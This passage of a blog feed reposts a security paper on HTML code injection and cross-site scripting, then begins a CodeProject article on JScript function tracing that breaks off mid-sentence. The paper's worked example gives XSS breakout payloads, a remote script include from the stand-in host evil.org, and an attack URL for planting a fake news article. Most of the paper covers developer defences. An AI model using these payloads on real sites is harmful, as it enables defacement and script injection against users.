sent to the server application.&lt;br /&gt;   7. In many cases, data will be submitted via the HTTP GET request. Throughout the investigation, take note of potentially vulnerable application components that require the HTTP POST command to submit data.&lt;br /&gt;&lt;br /&gt;It is a simple process of turning a POST into a GET submission. If the application component fails to respond to the GET the same way as it did for the POST submission, it is probably not vulnerable to a URL based inline scripting attack.&lt;br /&gt;Putting It All Together&lt;br /&gt;&lt;br /&gt;To bring together many of the ideas and processes discussed earlier in this document, an example can be used to bring it all together. In this example, the anonymous site has a search engine that responds to client data submissions. Normally the site would look like this:&lt;br /&gt;&lt;br /&gt;In our first test, we try submitting our first test string &lt;script&gt;alert('CSS Vulnerable')&lt;/script&gt;, and receive the following response:&lt;br /&gt;&lt;br /&gt;Notice the strange response in the “Your Search” box on the left. Zoomed in below.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Taking a closer look at the content source, we notice that our sample code appears 21 times in the document, in various formats.&lt;br /&gt;&lt;br /&gt;It appears 10 times in a format similar to:&lt;br /&gt;&lt;SCRIPT language="JavaScript1.1" SRC="http://ad.uk.doubleclick.net/adj/&lt;br /&gt;anonymous.com/search;cat=search;sec=search;kw=&lt;script&gt;alert('css_vulnerable')&lt;br /&gt;&lt;/script&gt;;pos=top;sz=468x60;tile=1;ptile=1;ord=-308506361?"&gt;&lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;9 times in a format similar to:&lt;br /&gt;&lt;a href="Search?q=%3Cscript%3Ealert%28%27CSS+Vulnerable%27%29%3C%2Fscript&lt;br /&gt;%3E&amp;pager.offset=10"&gt;2&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And twice in the format similar to:&lt;br /&gt;document.writeln('&lt;INPUT TYPE=\"TEXT\" NAME=\"q\" SIZE=\"16\" MAXLENGTH=\&lt;br /&gt;"70\" VALUE=\'&lt;script&gt;alert('CSS Vulnerable')&lt;/script&gt;\'&gt;');&lt;br /&gt;&lt;br /&gt;Obviously there are three different server-side processing routines for processing client search data.&lt;br /&gt;&lt;br /&gt;   1. In the first type (ad.uk.doubleclick.net format), it appears that the processing routine changes the case of characters and changes white space to the underscore (“_”).&lt;br /&gt;   2. The second type (href=) converts special characters into their escape-encoded formats, and white space into the “+” character.&lt;br /&gt;   3. The third type (document.writeln) places the complete string within a document.writeln JavaScript routine.&lt;br /&gt;&lt;br /&gt;Several opportunities present themselves here. To make the site execute the JavaScript alert box for each type, we need to force the &lt;script&gt; tags outside of any other HTML tags. Thus, for each type, the following methods will work:&lt;br /&gt;&lt;br /&gt;   1. &gt;&lt;script&gt;alert('CSS Vulnerable')&lt;/script&gt;&lt;b a=a&lt;br /&gt;   2. a&gt;&lt;/a&gt;&lt;script&gt;alert('CSS Vulnerable')&lt;/script&gt;&lt;br /&gt;   3. \'&gt;&lt;script&gt;alert%28\'CSS Vulnerable\'%29&lt;/script&gt;&lt;&lt;br /&gt;&lt;br /&gt;The result is the following alert box (multiple times):&lt;br /&gt;&lt;br /&gt;However, for this example, we shall focus on the last type (document.writeln). Since it is possible to inject code into the returned HTML page to the anonymous News site, to make the attack interesting, we shall “write” our own fake news article.&lt;br /&gt;&lt;br /&gt;Due to the maximum length of any string we can send to the site, and the likely length of the fake news article, we shall create a JavaScript include file (.js) which we will load in to the page using: \'&gt;&lt;script%20src%3dhttp://evil.org/faked.js&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;In this example, the include file will use multiple document.write statements to create the fake news article. There are several key features to the include file, and include -&lt;br /&gt;&lt;br /&gt;    * Use of HTML &lt;DIV&gt; tags to position the content on the page. Doing so allows the attacker to cover over existing content as they wish.&lt;br /&gt;    * Using a table to keep all the article text together.&lt;br /&gt;    * Rewriting of the URL source field at the top of the browser.&lt;br /&gt;    * Rewriting of the browser status bar.&lt;br /&gt;&lt;br /&gt;From the first few lines of the fake.js file:&lt;br /&gt;var d = document;&lt;br /&gt;d.write('&lt;DIV id="fake" style="position:absolute; left:200; top:200; z-index:2"&gt;&lt;br /&gt;&lt;TABLE width=500 height=1000 cellspacing=0 cellpadding=14&gt;&lt;TR&gt;');&lt;br /&gt;d.write('&lt;TD colspan=2 bgcolor=#FFFFFF valign=top height=125&gt;');&lt;br /&gt;&lt;br /&gt;So far, everything we have tested on the site makes use of the existing form to submit the attacker’s code. This submission is done by a HTTP POST command, such as:&lt;br /&gt;POST /Search HTTP/1.0&lt;br /&gt;Referer: http://www.anonymous.com/Search&lt;br /&gt;Accept-Language: en-gb&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Host: www.anonymous.com&lt;br /&gt;Content-Length: 135&lt;br /&gt;Pragma: no-cache&lt;br /&gt;dropnav=Pick+a+section&amp;q=\'&gt;&lt;script%20src%3dhttp://evil.org/faked.js&gt;&lt;br /&gt;&lt;/script&gt;newSearch=true&amp;pro=IT&amp;searchOption=articles&lt;br /&gt;&lt;br /&gt;It is a simple process to convert the HTTP POST into a single URL. Unfortunately for the anonymous news site, the web application does not differentiate the methods of receiving data. Thus the following attack URL allows the attacker to place his own content “on” the site.&lt;br /&gt;http://www.anonymous.com/Search?dropnav=Pick+a+section&amp;q=\'&gt;&lt;script&lt;br /&gt;%20src%3dhttp://evil.org/faked.js&gt;&lt;/script&gt;newSearch=true&amp;pro=IT&lt;br /&gt;&amp;searchOption=articles&lt;br /&gt;&lt;br /&gt;Defending Against the Attack&lt;br /&gt;Solutions for Users&lt;br /&gt;&lt;br /&gt;The only clear-cut solution for the user is to disable all scripting languages on their computer. Unfortunately, it is highly likely that much functionality of the sites regularly visited will be removed. Thus users should only pursue this option if they require the lowest possible level of request. Alternatively, users must be selective as to the sites they trust, and the sources of URL links. Again, the disabling of scripting languages will not prevent attackers influencing the appearance of content provided by trusted sites by embedding other HTML tags in the URL link.&lt;br /&gt;With scripting enabled, visual inspection of links does not protect users from following malicious links, since the attacker’s web site may still use scripted code to alter the representation of the links in the client browser.&lt;br /&gt;Unfortunately many integrated applications increase the threat of scripting code being executed on the users system, particularly through the use of embedded objects such as Flash! .swf files. To prevent these types of attacks, users must either uninstall the interpreters or ensure protection systems are capable of stopping the execution of such content. It is envisaged that popular anti-virus and personal intrusion detection systems will eventually be capable of this.&lt;br /&gt;Frankly, the onus for protecting users against code insertion and CSS type attacks relies upon the development of secure server-side applications. Ideally, the application should correctly handle and comment submitted data. Unfortunately, the likelihood that the application developer will miss some subtle character representation is quite high.&lt;br /&gt;Solutions for Developers and Organisations&lt;br /&gt;&lt;br /&gt;As no two applications are ever the same, application developers will need to tune their security countermeasures as defined by business requirements. The key to preventing applications being vulnerable to code injection and CSS type attacks is by ensuring that dynamically generated page content does not contain undesired HTML tags.&lt;br /&gt;&lt;br /&gt;The most likely sources of malicious data are likely to be:&lt;br /&gt;&lt;br /&gt;    * Query strings&lt;br /&gt;    * URL’s and pieces of UL’s&lt;br /&gt;    * Posted data&lt;br /&gt;    * Cookies&lt;br /&gt;    * Persistent data supplied by users, and retrieved at a later date (such as from databases)&lt;br /&gt;&lt;br /&gt;The following methods or design considerations can be implemented by developers to better secure their application against HTTP based attacks, not just CSS.&lt;br /&gt;Limit Server Responses&lt;br /&gt;&lt;br /&gt;In many cases it may be possible to limit the amount of “personalised” data that will be returned to client browsers through the use of generic responses.&lt;br /&gt;For example, consider a site that that displays the greeting “Hello, Gunter!” in response to http://trusted.org/greeting.jsp?name=Gunter. It would be a preferable security option to sacrifice this dynamic response with a hard-coded response such as “Hello, User!”&lt;br /&gt;Enforce Response Lengths&lt;br /&gt;&lt;br /&gt;For the majority of applications, the developer should be able to limit the maximum length of any user-supplied strings. Although initially enforced at the client-side, all strings should also be checked at the server-side. Where possible, enforce the limitation of the maximum necessary string length by truncating any longer responses.&lt;br /&gt;HTTP Referer&lt;br /&gt;&lt;br /&gt;As part of the HTTP standard, provision is made for a field header called “referer”. When a client browser follows a link or submits form data, the referer field should contain the URL of the page that the link or data came from. If possible, the web application should check the referer field and reject data if it didn’t come from the correct host or link.&lt;br /&gt;HTTP Referer&lt;br /&gt;Usually appearing in the HEAD of any HTTP requests:&lt;br /&gt;Referer: http://www.anonymous.com/Search&lt;br /&gt;Accept-Language: en-gb&lt;br /&gt;Content-Type: application/x-www-form-urlencoded&lt;br /&gt;Host: www.anonymous.com&lt;br /&gt;Advantages:&lt;br /&gt;&lt;br /&gt;    * An attack would fail irrespective of any character or HTML tag filtering policies.&lt;br /&gt;&lt;br /&gt;	Disadvantages:&lt;br /&gt;&lt;br /&gt;    * There is a risk of blocking legitimate links and form submission. As the referer field is optional, rejecting a blank referer field would prevent the application supporting certain client browsers.&lt;br /&gt;    * In some cases, the referer field may be blank or missing if the user followed a link that may be referenced locally (e.g. email messages, cached pages and favourites).&lt;br /&gt;    * Some browsers deliberately clear the referer field when navigating from a secure (HTTPS) page to an unsecure (HTTP) page.&lt;br /&gt;&lt;br /&gt;Embedded Files and Objects&lt;br /&gt;&lt;br /&gt;As witnessed by the Flash! Attack, attackers may be capable of embedding scripting components that can be interpreted by the client web browser and used to conduct a CSS attack.&lt;br /&gt;For inclusion within a HTML based document, embedded files and objects are referred to using the HTML &lt;EMBED&gt; and &lt;OBJECT&gt; tags. Several options are available for decreasing the threat of embedded CSS attacks:&lt;br /&gt;&lt;br /&gt;    *&lt;br /&gt;      The safest option is to treat &lt;EMBED&gt; and &lt;OBJECT&gt; tags the same as &lt;SCRIPT&gt; tags, and disallow any content to be submitted to the application that contains such data strings.&lt;br /&gt;    *&lt;br /&gt;      Depending upon the format of the embedded object, it may be possible parse filter content based upon content within the object. For instance, with Flash! files, it would be possible to remove all instances where the getURL() field contains a reference to a site other than the current application host. Alternatively, it may be possible to specify the target window as “_blank” and thus stopping any potential scripting code from being executed under the hosting domains privileges.&lt;br /&gt;&lt;br /&gt;HTTP POST not GET&lt;br /&gt;&lt;br /&gt;In the majority of cases, remote code insertion attacks are likely to be through the submission of user data in HTML forms. One prevention step is to ensure that form submission is only ever done through HTTP POST requests. Allowing HTTP GET request submissions will allow potentially attackers to craft distributable URL’s containing the offending code.&lt;br /&gt;When coding the server-side application, it is extremely important to ensure that the client-side data can only be received through HTTP POST variables. Most web hosting applications will indicate the variable delivery method.&lt;br /&gt;HTTP POST not GET&lt;br /&gt;Forcing the use of HTTP POST over GET is a simple process and easy to implement.&lt;br /&gt;Advantages:&lt;br /&gt;&lt;br /&gt;    * Almost always removes the threat of URL based code insertion attacks.&lt;br /&gt;&lt;br /&gt;	Disadvantages:&lt;br /&gt;&lt;br /&gt;    * Application users may not be able to save URLs to their favourites for quick access to the application component.&lt;br /&gt;&lt;br /&gt;Cookie Inspection&lt;br /&gt;&lt;br /&gt;Many applications utilise cookies for managing the state of the communication, and local storage of information relevant to the user. Application developers must ensure that all cookie information is thoroughly checked and filtered before insertion into the HTML documents. Attackers modifying persistent cookies can also make their attacks persistent.&lt;br /&gt;URL Session Identifier&lt;br /&gt;&lt;br /&gt;In some circumstances, the use of a unique session identifier for each valid user can be used to prevent remote exploitation of URL based code insertion attacks.&lt;br /&gt;As a user arrives at the web site, they are automatically allocated a unique session ID. This session ID can ONLY be obtained from one page on the site (usually the start/home page). Should a visitor try to access any other page within the site without a valid session ID, they are automatically redirected to the start page and issued one.&lt;br /&gt;Should an attacker discover a CSS flaw with one application component, any crafted exploit URL will have to contain a valid session ID. By rigorously controlling the session ID timeout, the attacker will not be able make use of the flaw (other than affecting the attacker locally) outside of this period.&lt;br /&gt;For additional security, the session ID could also be made in include a hashed version (or checksum) of the client browser’s IP address.&lt;br /&gt;URL Session Identifier&lt;br /&gt;URL session identifiers are often visible as:&lt;br /&gt;http://trusted.org/app.jsp?session=h3uf8309ai9.830988&lt;br /&gt;Advantages:&lt;br /&gt;&lt;br /&gt;    * Likely to stop all long term insertion attacks.&lt;br /&gt;    * With the addition of IP address information, session ID’s implemented this way will stop all URL based code insertion attacks.&lt;br /&gt;&lt;br /&gt;      .&lt;br /&gt;&lt;br /&gt;	Disadvantages:&lt;br /&gt;&lt;br /&gt;    * It is likely that the session ID will be allocated, and used, over HTTP. This session ID will thus be sent in the clear and will display in most logging systems (e.g. firewalls, proxies etc.). Developers must ensure that a different session ID is allocated and used during secure transactions.&lt;br /&gt;    * This security measure can still be defeated by man-in-the-middle type attacks.&lt;br /&gt;&lt;br /&gt;Character Sets&lt;br /&gt;&lt;br /&gt;The success of code injection attacks relies heavily on the use of non a-Z characters. Some small measure of security can be gained by ensuring that an appropriate data is filtered using an appropriate character set.&lt;br /&gt;Character Sets&lt;br /&gt;A popular character set is ISO 8859-1, which was the default in early versions of HTML and HTTP.&lt;br /&gt;Ensure all content pages include the following:&lt;br /&gt;&lt;meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"&gt;&lt;br /&gt;Advantages:&lt;br /&gt;&lt;br /&gt;    * Character submission in limited by the client web browser itself.&lt;br /&gt;    * Can potentially reduce the amount of client-side code required to check user-supplied text. Thus it may also reduce the total size of the HTML content – making for faster download times.&lt;br /&gt;&lt;br /&gt;	Disadvantages:&lt;br /&gt;&lt;br /&gt;    * Can be easily bypassed.&lt;br /&gt;    * Will have an effect on character localisation issues.&lt;br /&gt;&lt;br /&gt;Dangerous Content&lt;br /&gt;&lt;br /&gt;Certain characters are of special significance when inserted into web pages or URL content. These characters are based upon the HTML specifications, context and browser interpretation. If input to the application (or web site) is not correctly validated, the following problems may occur:&lt;br /&gt;&lt;br /&gt;    * Session information from client cookies may be set and read,&lt;br /&gt;    * User input could be intercepted,&lt;br /&gt;    * Data integrity can be compromised,&lt;br /&gt;    * Foreign scripting components can be executed by the client browser in the context of the trusted source.&lt;br /&gt;&lt;br /&gt;Character 	Significance&lt;br /&gt;&lt; 	The less-than character introduces a HTML tag.&lt;br /&gt;&gt; 	The greater-than character is sometimes interpreted by client browsers as the end of a HTML tag, and assumes that the author of the page omitted an opening &lt; in error.&lt;br /&gt;“ 	The double quote character is often interpreted as the end of an attribute character.&lt;br /&gt;% 	The percentage character is frequently used for encoding characters, such as their Unicode representation&lt;br /&gt;&amp; 	The ampersand introduces a character entity. It is possible to combine the double quote and ampersand characters (“&amp; “ extravalue”) to combine character entities within a HTML tag. Within a URL, the &amp; introduces a character entity. Also, often used by UNIX based operating systems for command execution.&lt;br /&gt;' 	HTML tag attribute values can be enclosed within single quotes.&lt;br /&gt;SPACE 	Although most good developers prefer to quote attribute values, it is possible to omit these entirely as long as white-space characters are introduced. The SPACE character can be used as white-space. When used within URL information, the SPACE character is interpreted as the end of a URL.&lt;br /&gt;TAB 	Following the same white-space principals as the SPACE character, TAB may also be used. When used within URL information, the TAB character is interpreted as the end of a URL.&lt;br /&gt;; | ! 	Semicolons, Pipes and exclamation characters for additional command execution - The dash (or minus sign) can be used in database queries, and the creation of negative numbers.&lt;br /&gt;/ \ 	The forward-slash and back-slash are often used for faking paths and queries.&lt;br /&gt;( ) { } [ ] 	Brackets, curly brackets and square brackets are often used as script, program or regex expressions.&lt;br /&gt;* 	Often used in database queries for “all”&lt;br /&gt;? $ @ : 	Question mark, Dollar, At and Colon characters are often used as script or programming markers.&lt;br /&gt;Hex Version 	The hex value of a character may be used, often done for non-printable characters. Such as:&lt;br /&gt;x00 Null bytes for truncating strings&lt;br /&gt;x04 EOF for faking the end of files&lt;br /&gt;x08 Backspace x0a New Line for extra command execution&lt;br /&gt;x0d New Line for extra command execution&lt;br /&gt;x1b Escape character for breaking out of procedures&lt;br /&gt;x20 Spaces for faking URLs and other names&lt;br /&gt;x7f Delete&lt;br /&gt;Non-ASCII 	Within a URL, non-ASCII characters (characters values above 128 in the ISO8859-1 encoding) are not allowed.&lt;br /&gt;  	 &lt;br /&gt;&lt;br /&gt;When dealing with potentially dangerous user supplied data, organisation may approach from three different angles:&lt;br /&gt;&lt;br /&gt;    * Encode output based upon input parameters.&lt;br /&gt;    * Filter input parameters for special characters.&lt;br /&gt;    * Filter output based upon input parameters for special characters.&lt;br /&gt;&lt;br /&gt;Applying the appropriate solution efficiently is dependant upon the language used to code the server-side application.&lt;br /&gt;&lt;br /&gt;Depending upon the application, and the particular phase of operation, it may be necessary to use different techniques to handle the special characters. In most instances input or output filtering will be sufficient. However, if particular client data submissions are likely to contain special characters (e.g. a complex database search query), it may be necessary to encode the resultant data for presentation back to the client.&lt;br /&gt;Encode output based upon input parameters&lt;br /&gt;&lt;br /&gt;In this method, any non-validated user data is always encoded to the appropriate HTML characters as it is written back to the user. For instance the character “&lt;“ would be encoded as “&amp;lt” and, although appearing to the user as the less-than character, would not be interpreted by the client application as the start of a HTML tag.&lt;br /&gt;&lt;br /&gt;If a web page uses the UFT-7 character encoding, there are several different strings which will act as a ‘&lt;’ character and start an HTML tag; all of these strings start with a ‘+’. It is also important that the use of the”%” encoding character be carefully monitored, as it can be used to escape-encode or Unicode special characters that will be correctly interpreted the client web browser. There are many methods of encoding text and special characters. A detailed analysis can be found in the earlier paper, “URL Encoded Attacks”.&lt;br /&gt;Encode output based upon input parameters&lt;br /&gt;Microsoft Active Server Pages&lt;br /&gt;&lt;br /&gt;&lt;%&lt;br /&gt;var BaseURL = http://www.mysite.com/search2.asp?searchagain=;Response.write&lt;br /&gt;("&lt;a href=\"" + BaseUrl + Server.URLEncode(Request.QueryString("SearchString")) +&lt;br /&gt;"\"&gt;click-me&lt;/a&gt;");&lt;br /&gt;%&gt;&lt;br /&gt;&lt;% Response.Write("Hello visitor &lt;I&gt;" +&lt;br /&gt;Server.HTMLEncode(Request.Form("UserName")) +&lt;br /&gt;"&lt;/I&gt;"); %&gt;&lt;br /&gt;&lt;br /&gt;With Microsoft’s ASP, the HTMLEncode call will automatically prevent any script in it from being executed.&lt;br /&gt;Filter input parameters for special characters.&lt;br /&gt;&lt;br /&gt;Input filtering works by removing some or all special characters from user supplied data as it reaches the server-side application components. Although it is possible to implement client-side input filtering, this should never be relied upon as it is often a trivial exercise for an attacker to bypass it. Even if implemented at the client-side, the server-side processes should carry out the same input filtering processes.&lt;br /&gt;&lt;br /&gt;The recommended method of implementing input filtering is to only select from the set of characters that is known to be safe rather than excluding the named special characters. This method is referred to as Positive filtering, and by only selecting the characters that are acceptable, it will help to reduce the ability to exploit other yet unknown vulnerabilities.&lt;br /&gt;&lt;br /&gt;For example, a form field that is expecting a person's age can be limited to the set of digits 0 through 9. There is no reason for this age element to accept any letters or other special characters.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;Filter output based upon input parameters for special characters.&lt;br /&gt;&lt;br /&gt;Output filtering functions similarly to Input filtering, except that special characters are filtered from the data at the server-side application before being sent to the client web browser. This technique should be used when data is retrieved from databases or storage formats, particularly when there is a probability that non-filtered content could have been added by other applications or system processes.&lt;br /&gt;&lt;br /&gt;Special care should be taken when using Output filtering. If the application outputs HTML content, vigilance is required to ensure that special character filtering is restricted to data that has been previously supplied by a user and stored in a database. Filtering the special characters “&lt;“ and “&gt;“ too early in the process is likely to render the client HTML document useless.&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;References&lt;br /&gt;&lt;br /&gt;“Malicious HTML Tags Embedded in Client Web Requests”, CERT® Advisory CA-2000-02, February 3 2002&lt;br /&gt;&lt;br /&gt;“Bypassing JavaScript Filters – the Flash! attack”, EyeonSecurity, June 5 2002&lt;br /&gt;&lt;br /&gt;“The HTML Form Protocol Attack”, Jochen Topf, August 8 2001&lt;br /&gt;&lt;br /&gt;“HOWTO: Prevent Cross-Site Scripting Security Issues (Q252985)”, Microsoft, February 1 2000&lt;br /&gt;&lt;br /&gt;“Understanding Malicious Content Mitigation for Web Developers”, CERT Coordination Center, February 2 2000&lt;br /&gt;&lt;br /&gt;“URL Encoded Attacks”, Internet Security Systems, Gunter Ollmann, April 1 2002&lt;br /&gt;&lt;br /&gt;“Cross-site Scripting Overview”, Microsoft, February 2 2000&lt;br /&gt;&lt;br /&gt;“The Evolution of Cross-site Scripting Attacks”, iDefence, David Edler, May 20 2002&lt;br /&gt;&lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Original Link to Paper:&lt;br /&gt;&lt;br /&gt;http://www.technicalinfo.net/papers/CSS.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-1593571497354641735?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/1593571497354641735/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=1593571497354641735' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/1593571497354641735'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/1593571497354641735'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2008/10/paper-html-code-injection-and-cross.html' title='Paper: HTML Code Injection and Cross-Site Scripting'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-6491530463788255645</id><published>2008-09-24T23:50:00.001-07:00</published><updated>2008-09-24T23:50:39.838-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='com'/><title type='text'>Function Call Tracing in JScript</title><content type='html'>The Code Project 	&lt;br /&gt;Web Development » Client side scripting » General     Intermediate License: The Code Project Open License (CPOL)&lt;br /&gt;&lt;br /&gt;Function Call Tracing in JScript&lt;br /&gt;By Keith Skilling&lt;br /&gt;&lt;br /&gt;Comprehensive JScript function call tracing without code modification. 	Javascript, VC6, C++Windows, Win2K, WinXP, Win2003, Visual Studio, ATL, COM, Dev&lt;br /&gt;&lt;br /&gt;Posted: 20 Apr 2007&lt;br /&gt;Updated: 4 Jul 2007&lt;br /&gt;Views: 13,501&lt;br /&gt;Bookmarked: 32 times&lt;br /&gt;	&lt;br /&gt;	&lt;br /&gt;17 votes for this Article. 	&lt;br /&gt;				&lt;br /&gt;Popularity: 5.21 Rating: 4.24 out of 5&lt;br /&gt;	&lt;br /&gt;2 votes, 11.8%&lt;br /&gt;1 	0 votes, 0.0%&lt;br /&gt;2 	3 votes, 17.6%&lt;br /&gt;3 	2 votes, 11.8%&lt;br /&gt;4 	10 votes, 58.8%&lt;br /&gt;5&lt;br /&gt;&lt;br /&gt;    * Download demo project - 68 Kb&lt;br /&gt;    * Download source - 91 Kb&lt;br /&gt;&lt;br /&gt;Screenshot - FlopTrace.gif&lt;br /&gt;Introduction&lt;br /&gt;&lt;br /&gt;One of the most tedious aspects of developing JScript 'applications' is the lack of somewhere to write debugging and trace information. Most often you have to litter your code with alert statements or write stuff to file in order to monitor what's going on. While Dev Studio 2005 does provide the TracePoint facility this requires manually setting each TracePoint under the development environment.&lt;br /&gt;&lt;br /&gt;The Java Script Debug (JSD) component is designed to overcome these problems by providing the following:&lt;br /&gt;&lt;br /&gt;    * automatic tracing of all JScript function calls - without any modifications to your code.&lt;br /&gt;    * a client API for outputting trace information from within your JScript code.&lt;br /&gt;&lt;br /&gt;Output can be viewed using any utility that intercepts and displays OutputDebugString output, e.g. SysInternals' (actually now Microsoft's) DebugView utility.&lt;br /&gt;Background&lt;br /&gt;&lt;br /&gt;To illustrate how JSD works this section will use the example of JScript code running within Internet Explorer. Remember however that JSD works with any active script host.&lt;br /&gt;&lt;br /&gt;Consider the following SCRIPT element within an HTML page loaded by IE.&lt;br /&gt;&lt;br /&gt;&lt;SCRIPT language= "jscript"&gt;&lt;br /&gt;    window.title="JSD Example"&lt;br /&gt;&lt;/SCRIPT&gt;&lt;br /&gt;&lt;br /&gt;IE itself does not handle script code; the scripting model used by Microsoft is partitioned so that different components are used to handle hosting, script parsing and execution and debugging. These disparate components communicate via a set of well defined interfaces. The advantage of this approach is that any one of these components can be replaced without the need to change the others.&lt;br /&gt;&lt;br /&gt;When IE processes the language attribute in the above example it looks in the registry for a COM component that is registered with the "jscript" ProgID. This will be the Microsoft JScript engine. To use a different scripting engine simply use a different name for the language attribute. As long as this maps to a COM component that supports the required ActiveScript interfaces IE will use that engine to process the script. The other name most commonly used is of course "vbscript".&lt;br /&gt;&lt;br /&gt;As part of establishing the connection to the scripting engine IE will call the SetScriptSite method and pass an IActiveScriptSite pointer. This pointer is used by the scripting engine to call back to IE in a number of different situations.&lt;br /&gt;&lt;br /&gt;After creating the scripting engine IE will pass the code within the SCRIPT element for parsing using the engine's ParseScriptText method.&lt;br /&gt;&lt;br /&gt;Eventually this code will be executed in response to user-interaction or events (e.g. onload) within IE. At this point the scripting engine will encounter the "window" object. The engine has no knowledge of this object and so will call on the IActiveScriptSite pointer to get a dispatch interface to the object. It then uses this interface to set the "title" property of the object.&lt;br /&gt;&lt;br /&gt;Armed with this information it is (relatively) easy to devise a strategy to achieve the goal of tracing JScript function calls:&lt;br /&gt;&lt;br /&gt;    * Create a scripting engine that supports the necessary interfaces.&lt;br /&gt;    * Get IE to use this engine rather than the real JScript engine.&lt;br /&gt;    * Instrument the script code with trace code before the script is parsed.&lt;br /&gt;    * Output trace statements when the script is executed.&lt;br /&gt;&lt;br /&gt;The steps are described in the following sections.&lt;br /&gt;Creating a Scripting Engine&lt;br /&gt;&lt;br /&gt;There is no need to create a scripting engine from scratch (thankfully) as we are only interested in intercepting a few methods on the IActiveScript interface. Instead we simply create a COM component that wraps an instance of the Microsoft JScript engine.&lt;br /&gt;&lt;br /&gt;When IE calls SetScriptSite our engine creates an instance of a component that implements the IActiveScriptSite interface and caches the interface pointer from IE. It also creates an instance of the COM object which is responsible for outputting the trace information (see below). This object is referred to in script using the name __JSD.&lt;br /&gt;&lt;br /&gt;When IE calls the ParseScriptText method on our interface the script code is passed to the parser and points of interest (see below) are instrumented with method calls to the __JSD object. Here 'instrumentation' simply means inserting the appropriate script text.&lt;br /&gt;&lt;br /&gt;Apart from the methods described above all other calls are simply delegated to the 'real' instance of the engine. Additionally any query interface calls for additional interfaces are simply delegated using the ATL COM_INTERFACE_ENTRY_FUNC_BLIND mechanism.&lt;br /&gt;Engine Usage&lt;br /&gt;&lt;br /&gt;There are two ways to get IE to use the JScriptDebug engine:&lt;br /&gt;&lt;br /&gt;Explicit Usage&lt;br /&gt;&lt;br /&gt;This requires that you tell IE in your code that you want to use JSD. For example the following &lt;SCRIPT&gt; element does this:&lt;br /&gt;&lt;br /&gt;&lt;SCRIPT language="jscriptdebug"&gt; &lt;br /&gt;// Script contents here&lt;br /&gt;&lt;br /&gt;&lt;/SCRIPT&gt; &lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;When IE sees the language attribute it looks for a script engine registered under the "jscriptdebug" ProgId and creates an instance of it. While this is simple to do it does not meet the design goal of not having to modify code.&lt;br /&gt;&lt;br /&gt;Implicit Usage&lt;br /&gt;&lt;br /&gt;To trace functions without having to tell the IE that it should use JSD instead of the proper JScript engine we need implicit usage. To achieve this it is necessary to modify the InProcServer32 setting of the proper JScript engine so that it points to jscriptdebug.dll and not jscript.dll.&lt;br /&gt;&lt;br /&gt;The location of the JScript scripting engine is stored under the following registry key:&lt;br /&gt;&lt;br /&gt;    HKEY_CLASSES_ROOT/CLSID/{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}/InProcServer32 &lt;br /&gt;&lt;br /&gt;The default value is the location of the dll, it will be something like this:&lt;br /&gt;&lt;br /&gt;    c:\winnt\system32\jscript.dll&lt;br /&gt;&lt;br /&gt;To use JSD instead the entry is simply replaced with the path to the JSD dll, for example:&lt;br /&gt;&lt;br /&gt;    c:\utils\jscriptdebug.dll&lt;br /&gt;&lt;br /&gt;Now all attempts to use the JScript engine will result in use of JSD instead. Implicit usage of JSD is referred to as Replace Mode.&lt;br /&gt;&lt;br /&gt;Parsing and Instrumentation&lt;br /&gt;&lt;br /&gt;When IE passes a block of script code to JSD it is parsed to look for any function entry and exit points. Each instance found is instrumented with additional code which emits debug strings to describe the function and its arguments. The instrumented code is then passed to the managed instance of the real JScript engine which does the actual scripting work.&lt;br /&gt;&lt;br /&gt;The injected code consists of methods calls on the global __JSD object described above.&lt;br /&gt;&lt;br /&gt;The code for a function entry looks like this:&lt;br /&gt;&lt;br /&gt;__JSD._TraceFn(arguments,false);&lt;br /&gt;&lt;br /&gt;and for the function exit:&lt;br /&gt;&lt;br /&gt;__JSD._TraceFnExit(arguments,false);&lt;br /&gt;&lt;br /&gt;Note that (in common with many of the other JSD functions listed below) these functions are called with an argument of "arguments". This object is an implicit member of every function object and is used by JSD to extract the values of the arguments passed to the function. JSD can also use this object to find out the name of the function. In most situations you could also pass the function object by name, e.g.:&lt;br /&gt;&lt;br /&gt;function foo() {&lt;br /&gt;   __JSD._TraceFn(foo); &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;and JSD could get the "arguments" object from the function object. However, for an anonymous function, e.g.&lt;br /&gt;&lt;br /&gt;var fn = function() {&lt;br /&gt;   __JSD._TraceFn(???);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;there is no function name to pass to JSD. Passing the arguments object works in both situations.&lt;br /&gt;&lt;br /&gt;Any return statements in the code are also replaced so that all possible exit point are covered, for example:&lt;br /&gt;&lt;br /&gt;if (bFinished)&lt;br /&gt;    return true; &lt;br /&gt;&lt;br /&gt;is replaced by:&lt;br /&gt;&lt;br /&gt;if (bFinished)&lt;br /&gt;    {var __x=true;__JSD._TraceFnExit(arguments,__x); return __x;}  &lt;br /&gt;&lt;br /&gt;Again, "arguments" is used to access the function name (see above).&lt;br /&gt;&lt;br /&gt;If the parser 